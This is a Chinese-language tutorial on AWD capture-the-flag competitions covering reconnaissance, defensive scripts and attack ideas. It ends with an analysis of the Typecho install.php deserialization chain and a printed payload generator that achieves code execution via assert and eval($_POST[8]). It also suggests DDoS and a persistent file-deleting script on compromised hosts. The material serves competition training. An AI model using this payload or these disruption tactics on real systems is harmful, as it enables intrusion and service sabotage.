AWD入门教程
信息收集
前言
我开始之前,会有一定的时间留给我们进行加固,在这段时间里,彼此之间是没法进行攻击的,所以我们要利用好这段时间,收集足够的信息,我把需要收集的信息总结为以下几点。
1.账号密码收集
在开始前,我们可以去查看web端的配置文件,那里面会有数据库的账号和密码,然后我们通过这个账号密码进行登录,就可以去查找后台的账号和密码,可以在后续对其他队伍进行一个测试,看是有账号密码系统的情况。
2.端口信息收集
我们可以通过探测自己主机上的端口,看是否存在某些端口上开着存在漏洞的服务。主要用到的工具是nmap。
3.web框架信息收集
web框架信息的收集也很重要,很多时候,web环境就是一存在历史漏洞的web框架,我们可以通过去网上搜索相关的漏洞信息,以做到防御自身和攻击他人。主要可以通过查看文件是否有作者或框架的信息,或可以通过浏览器的插件Wappalyzer
4.URL信息收集
主要是收集其他战队的url信息。
防御
前言
其实防御我感觉是整个环境中比较好做的,为什么这么说呢,如果只有web环境的情况下,我们一般挂上一两个脚本就能防御大多数的攻击。这里介绍一下几个需要的功能,这些功能的脚本github上都有,大家可以自行下载测试。
1.waf
web环境一般大多数是php语言的,这时候我们可以在网站的入口处,导入我们写入的waf,通过对传入参数的清洗,就能隔绝掉很多攻击,比如虽然在某个文件有漏洞,但是其流量都要经过waf.php的清晰,哪怕漏洞存在都不会被利用。
2.文件监控
这个脚本主要是对web目录的一个监控,防止web文件被人恶意的篡改,也防止被人上传木马,可以使用python来编写。
3.flag替换
这个脚本就有点恶心,主要是你可以通过python搭建一个http服务器,然后监控http流量,当流量中有flag的数据,就可以替换为其他的,达到一个防御的效果。
4.修改账号密码
这个也是很重要的,一般情况下,后台账号密码可能存在弱密码的情况,但是在数据库中的密码可能是以hash加密的形式存储的,这时候如果我们直接修改,就会导致出错,所以这里我们可以直接修改用户名,把用户名改掉也能防御爆破。
攻击
前言
攻击的话相对来说其攻击点一般已经是固定了的,要么是存在问题的端口,要么是存在问题的框架,如果在这几个地方做了死防,攻击基本可以说已经没有任何用处了(ps:这是我个人觉得),当然,在awd中,让对方服务掉线也是一种加分方式,可以尝试对其web服务发起大量请求的方式,让对方掉线,这样在进行检查的时候,由于服务不存在,就会减分,然后平均分配给其他战队,这边简单的说一下攻击的思路。
1.代码审计
这可以说是每次拿到代码必须做的事情了,通过代码审计,我们可以找到框架中存在的漏洞,可以发现是否有webshell的存在,这样可以及时的对代码进行修复。
2.删除文件
如何去应对我上面防御部分的第三点呢,因为我们知道,每一次系统都会对web服务进行检测,那我们在拿到对方shell的时候,我们可以在tmp目录写一个python文件,让其死循环判断web某个文件是否存在,存在则删除,这样的话就可以达到让对方服务出错扣分。
3.ddos
ddos也是可以用的,但是这也是非常万不得已的情况下了。
复盘
前言
昨天进行了一场队内的awd对抗赛,这次的对抗赛我觉得没太多的意思,因为其实其中的利用点只有一个,那就是框架的历史漏洞,这里对这个漏洞再进行一次分析。
Typecho框架的反序列化漏洞。
install.php
//省略
//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}
//省略
<?php else : ?>
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
-
install.php是入口点,我们会发现,我们直接访问的话,会因为exit而退出程序,但是我们发现只需要通过get传参,传入一个finish就能继续执行下面的程序。我们继续看,下面对Typecho_Cookie::get('__typecho_config') 进行base64解码后反序列化。我们跟进一下Typecho_Cookie::get()方法。
Cookie.php
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
}
-
这边的话首先是判断Cookie是否有对应参数的值,如果没有的话则通过post传参的方式。判断是否为数组,是的话则返回值。
-
继续看上面的install.php,
$db = new Typecho_Db($config['adapter'], $config['prefix']);
把序列化后的数组的值传入,也就是这里我们是可控的,跟进Typecho_Db。
Db.php
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}
$this->_prefix = $prefix;
/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
//实例化适配器对象
$this->_adapter = new $adapterName();
}
-
这时候假如$adapterName是个类的化,那么这里因为这个类被当作字符串,所以会调用__toString魔法方法。
Feed.php
foreach ($this->_items as $item) {
$content .= '<entry>' . self::EOL;
$content .= '<title type="html"><![CDATA[' . $item['title'] . ']]></title>' . self::EOL;
$content .= '<link rel="alternate" type="text/html" href="' . $item['link'] . '" />' . self::EOL;
$content .= '<id>' . $item['link'] . '</id>' . self::EOL;
$content .= '<updated>' . $this->dateFormat($item['date']) . '</updated>' . self::EOL;
$content .= '<published>' . $this->dateFormat($item['date']) . '</published>' . self::EOL;
$content .= '<author>
<name>' . $item['author']->screenName . '</name>
<uri>' . $item['author']->url . '</uri>
</author>' . self::EOL;
-
我们会发现这里的itemp['author']为某个类,那么调用了不存在的成员就会执行__get方法,我们去看一下__get方法
Requests.php
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
-
我们发现这里把我们传入的值传入到了_applyFilter方法,我们继续跟进
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
-
我们发现,这里执行了一个回调函数,下面是一个网上的payload。
<?php
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "n";
private $_type;
private $_items;
public function __construct() {
$this->_type = $this::RSS2;
#$this->_type = $this::ATOM1;
$this->_items[0] = array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct() {
$this->_params['screenName'] = 'eval($_POST[8])';
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
?>
原文始发于微信公众号(珠天PearlSky):AWD入门教程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论